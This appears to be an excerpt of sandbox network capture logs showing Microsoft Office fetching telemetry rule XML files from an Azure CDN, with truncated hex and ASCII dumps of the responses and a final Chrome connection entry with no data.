2024-10-07 12:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:32 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4dd19665-401e-005b-7705-179c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121032Z-1657d5bbd48xdq5dkwwugdpzr000000003rg00000000dra5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:32 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49893	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:32 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:32 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b2c548d6-d01e-0082-4f03-17e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121032Z-1657d5bbd48qjg85buwfdynm5w00000003h000000000bsah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:33 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49897	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:33 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:33 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 5e879109-c01e-00a2-3e73-172327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121033Z-1657d5bbd48sqtlf1huhzuwq70000000037000000000828y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:33 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49898	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:33 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:33 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 721d8bd8-801e-002a-4f00-1731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121033Z-1657d5bbd4824mj9d6vp65b6n400000003qg0000000073ma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:33 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49896	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:33 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:33 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c5dbf9be-001e-0017-2cf1-160c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121033Z-1657d5bbd48brl8we3nu8cxwgn00000003w0000000001bd2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:33 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49895	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:33 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:33 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 7709e3c3-b01e-0097-5e02-174f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121033Z-1657d5bbd4824mj9d6vp65b6n400000003m000000000fh59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:33 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49901	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:33 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:33 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: cb78c1b2-201e-003f-2e04-176d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121033Z-1657d5bbd48cpbzgkvtewk0wu000000003hg00000000a29v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:33 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49908	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:34 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 4d501e36-901e-0029-1978-18274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121034Z-1657d5bbd48hzllksrq1r6zsvs00000000r0000000007qy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49906	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:34 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: cc92db4a-701e-0053-3460-173a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121034Z-1657d5bbd48jwrqbupe3ktsx9w00000003pg00000000apvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49907	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:34 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 2f3972b1-401e-0035-1b02-1782d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121034Z-1657d5bbd482krtfgrg72dfbtn000000036000000000au45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49909	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:34 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: cde3aec9-601e-0084-63e5-166b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121034Z-1657d5bbd48brl8we3nu8cxwgn00000003s000000000bx18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:34 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49905	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:34 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 27b6de9f-001e-0046-1e00-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121034Z-1657d5bbd482lxwq1dp2t1zwkc000000037000000000azy0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:34 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49920	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
